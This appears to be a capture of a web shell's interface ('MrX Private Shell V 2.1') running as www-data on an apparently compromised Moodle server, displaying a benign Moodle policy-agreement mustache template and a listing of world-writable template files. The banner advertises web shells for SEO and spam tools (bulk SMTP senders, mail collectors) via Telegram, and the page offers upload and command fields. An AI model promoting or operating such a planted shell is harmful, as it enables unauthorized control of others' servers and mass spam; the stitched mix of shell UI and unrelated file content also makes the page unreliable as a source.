__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
{{!
    This file is part of Moodle - http://moodle.org/

    Moodle is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.

    Moodle is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
}}
{{!
    @template tool_policy/page_agreedocs

    Template for showing to the user the policy docs to agree.

    Classes required for JS:
    * policyactions

    Data attributes required for JS:
    -

    Context variables required for this template:
    * pluginbaseurl
    * myurl
    * sesskey
    * policies - policy array
    * behalfuser - If behalfid is defined and valid, full name of the behalf user with a link to his/her profile; null otherwise


    Example context (json):
    {
        "myurl": "/admin/tool/policy/index.php",
        "sesskey": "123456",
        "behalfuser": "Sam Student",
        "policies": [
            {
                "id": 1,
                "name": "Terms &amp; conditions",
                "policymodal": "<a href=\"#\">Terms &amp; conditions</a>",
                "summary": "Policy <u>summary</u>",
                "versionagreed": false,
                "versionlangsagreed": "Agreed",
                "versionbehalfsagreed": ""
            }
        ]
    }

}}

{{#messages}}{{{.}}}{{/messages}}

<form id="agreedocsform" method="post" action="{{myurl}}">
    <input type="hidden" name="sesskey" value="{{sesskey}}">

{{#behalfuser}}
<div class="clearfix">
    <div class="float-end mb-2">
        {{# str }} viewconsentpageforuser, tool_policy, {{{ . }}} {{/ str }}
    </div>
</div>
{{/behalfuser}}

<div class="clearfix">
    <div class="float-start">
        <h2>{{# str }}consentpagetitle, tool_policy{{/ str }}</h2>
    </div>
</div>

<div class="clearfix mt-2">
    <h3>{{# str }}agreepolicies, tool_policy {{/ str }}</h3>
</div>
<hr>


{{#policies}}

<input value="{{id}}" name="listdoc[]" type="hidden">

<div class="agreedoc-policy clearfix mt-2 mb-1">
    <h3>{{{name}}}</h3>
    <div class="agreedoc-content">
        <div class="agreedoc-summary mb-2">
          {{{summary}}}
        </div>
        <div class="agreedoc-msg">
            {{# str }}refertofullpolicytext, tool_policy, {{{policymodal}}} {{/ str }}
        </div>
        <div class="agreedoc-form mt-1">
            {{#optional}}
            <div class="agreedoc-radios">
                <div class="agreedoc-radios-1">
                    <label>
                        <input type="radio" name="status{{id}}" value="1" {{#versionagreed}}checked="{{.}}"{{/versionagreed}}>
                        {{# str }}iagree, tool_policy, {{{name}}} {{/ str }}
                    </label>
                </div>
                <div class="agreedoc-radios-0">
                    <label>
                        <input type="radio" name="status{{id}}" value="0" {{#versiondeclined}}checked="{{.}}"{{/versiondeclined}}>
                        {{# str }}idontagree, tool_policy, {{{name}}} {{/ str }}
                    </label>
                </div>
            </div>
            {{/optional}}
            {{^optional}}
            <div class="agreedoc-checkbox">
                <label>
                    <input value="1" name="status{{id}}" {{#versionagreed}}checked="{{.}}"{{/versionagreed}} type="checkbox">
                    {{# str }}iagree, tool_policy, {{{name}}} {{/ str }}
                    <i class="icon fa fa-exclamation-circle text-danger fa-fw" title="{{# str }} required {{/ str }}" ></i>
                </label>
            </div>
            <ul class="agreedoc-msg list-unstyled">
                    {{#versionlangsagreed}}
                        <li><small>{{{.}}}</small></li>
                    {{/versionlangsagreed}}
                    {{#versionbehalfsagreed}}
                        <li><small>{{{.}}}</small></li>
                    {{/versionbehalfsagreed}}
            </ul>
            {{/optional}}
        </div>
    </div>
</div>

{{/policies}}

{{# str }}somefieldsrequired, form, <i class="icon fa fa-exclamation-circle text-danger fa-fw" title="{{# str }} required {{/ str }}" ></i>{{/ str }}
<hr>

<input type="submit" class="btn btn-primary" name="submit" value="{{#cleanstr}} next {{/cleanstr}}">
{{#cancancel}}
<input type="submit" class="btn btn-secondary" name="cancel" value="{{#cleanstr}} cancel {{/cleanstr}}">
{{/cancancel}}
</form>

{{#js}}
// Initialise the JS for the modal window which displays the policy versions.
require(['tool_policy/policyactions'], function(ActionsMod) {
    ActionsMod.init('[data-action="view"]');
});
{{/js}}

Filemanager

Name Type Size Permission Actions
acceptances.mustache File 6.16 KB 0777
acceptances_filter.mustache File 2.31 KB 0777
guestconsent.mustache File 3.27 KB 0777
page_agreedocs.mustache File 4.9 KB 0777
page_managedocs_list.mustache File 5.03 KB 0777
page_nopermission.mustache File 2.63 KB 0777
page_viewalldoc.mustache File 3.36 KB 0777
page_viewdoc.mustache File 3.13 KB 0777
user_agreement.mustache File 1.66 KB 0777
Filemanager